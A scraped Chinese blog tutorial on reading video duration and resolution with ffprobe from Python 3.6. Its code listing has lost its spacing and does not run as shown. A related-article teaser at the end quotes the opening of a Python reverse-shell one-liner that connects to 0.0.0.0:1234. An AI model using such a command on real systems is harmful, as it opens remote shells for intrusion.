Python3.6_x86通过FFpmeg获取视频或音频的时长和分辨率

摘要:
前言前段时间公司在做流媒体服务,与许多厂家合作拿了许多视频过来,现在要对这些视频文件进行整理,通过特殊的编码排列,获取他们的时长以及分辨率,这里我遇到一个大坑,请往下面看。本次使用ffpmeg发现,使用的python3.6,32位和64位通过subprocess.Popen获取到的值是不一样的,导致后面的方法也稍微不一样,如果你是32位的,使用我上面代码无法获取out=result.stdoutdata=json.loads["format"]['duration']作者感言:重要是事情说三遍路径全英文,路径全英文,路径全英文!!!!!

前言

前段时间公司在做流媒体服务,与许多厂家合作拿了许多视频过来,现在要对这些视频文件进行整理,通过特殊的编码排列,获取他们的时长以及分辨率,这里我遇到一个大坑,请往下面看。

1 #-*- coding: utf-8 -*-
2 importos
3 importsys
4 importshutil
5 importsubprocess
6 importjson
7 defgetLength(filename):
8     command = ["ffprobe.exe","-loglevel","quiet","-print_format","json","-show_format","-show_streams","-i",filename]
9     result = subprocess.Popen(command,shell=True,stdout = subprocess.PIPE, stderr =subprocess.STDOUT)
10     out =result.stdout.read()
11     #print(str(out))
12     temp = str(out.decode('utf-8'))
13     try:
14         data = json.loads(temp)['streams'][1]['width']
15     except:
16         data = json.loads(temp)['streams'][0]['width']
17     returndata
18 
19 defgetLenTime(filename):
20     command = ["ffprobe.exe","-loglevel","quiet","-print_format","json","-show_format","-show_streams","-i",filename]
21     result = subprocess.Popen(command,shell=True,stdout = subprocess.PIPE, stderr =subprocess.STDOUT)
22     out =result.stdout.read()
23     #print(str(out))
24     temp = str(out.decode('utf-8'))
25     data = json.loads(temp)["format"]['duration']
26     return data

只需要传入文件的完整路径就可以获取到分辨率以及播放时长。

本次使用ffpmeg发现,使用的python3.6 ,32位和64位通过subprocess.Popen 获取到的值是不一样的,导致后面的方法也稍微不一样,如果你是32位的,使用我上面代码无法获取

out = result.stdout
data = json.loads(out)["format"]['duration']

作者感言:重要是事情说三遍 路径全英文,路径全英文,路径全英文!!!!!

免责声明:文章转载自《Python3.6_x86通过FFpmeg获取视频或音频的时长和分辨率》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇Redis 如何存储上亿级别的用户状态?C# 中使用 Excel下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

ubuntu1.8安装python3.7pip报错“subprocess.CalledProcessError...lsb_release”

背景 给一台 ubuntu18.04 安装 python3.7,完成后想试试pip list命令,结果出现一长串报错,我贴一下最后几行: File "/usr/local/lib/python3.7/subprocess.py", line 512, in runoutput=stdout, stderr=stderr)subprocess.CalledP...

element日期时间段选择器的使用心得

使用时间段 <el-date-picker // control the different select suitation v-if="selectOne == false" v-model="inputDate" unlink-panels type="datera...

OFFICE 文档转换为html在线预览

OFFICE 文档在线预览方案很多: 服务器先转换为PDF,再转换为SWF,最后通过网页加载Flash预览,比如flexpaper Office文档直接转换为SWF,通过网页加载Flash预览 微软的Office365 在浏览器中直接打开 转换为html 今天,我们要用的方案是转换为html来预览。 技术方案: office文档转换为pdf:使用li...

记一次对python反弹shell的分析

前言 昨天学习了反弹shell,对python弹shell产生了一些疑惑 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.0.0.0",1234));os.dup2(s.fileno(),0); o...

颜色空间

颜色空间 摘自:http://blog.csdn.net/juyingmin/article/details/5689591  (注:做了一些完善工作) 1,CMY/CMYK颜色空间         青、品红、黄(CMY)(Cyan、Magenta、Yellow)彩色模型是彩色图象印刷行业使用的彩色空间,在彩色立方体中它们是红、绿、蓝的补色,称为减色基,而...

家谱树(信息学奥赛一本通 1351)

【问题描述】 有个人的家族很大,辈分关系很混乱,请你帮整理一下这种关系。 给出每个人的孩子的信息。 输出一个序列,使得每个人的后辈都比那个人后列出。 【输入格式】 第1行一个整数N(1<=N<=100),表示家族的人数。 接下来N行,第i行描述第i个人的儿子。 每行最后是0表示描述完毕。 【输出格式】 输出一个序列,使得每个人的后辈都比那个人后...